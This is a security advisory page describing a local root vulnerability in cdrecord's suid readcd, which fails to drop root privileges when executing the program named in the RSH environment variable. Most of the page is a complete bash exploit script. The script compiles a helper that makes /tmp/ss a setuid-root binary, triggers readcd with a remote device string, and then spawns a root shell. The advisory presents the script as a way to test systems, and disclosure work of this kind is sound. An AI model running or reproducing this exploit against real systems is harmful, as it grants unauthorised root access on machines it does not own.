SecuriTeam - CDRecord's readcd Local Root Privileges

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Max Vozeler found that the cdrecord program, which is suid root, fails to drop euid=0 when it exec()s a program specified by the user through the $RSH environment variable. This can be abused by a local attacker to obtain root privileges. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by newbug Tseng.

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Exploit:
#!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        chown("/tmp/ss", 0, 0);
        chmod("/tmp/ss", 04755);

return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        execl("/bin/bash","bash",(char *)0);

return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1
/tmp/ss

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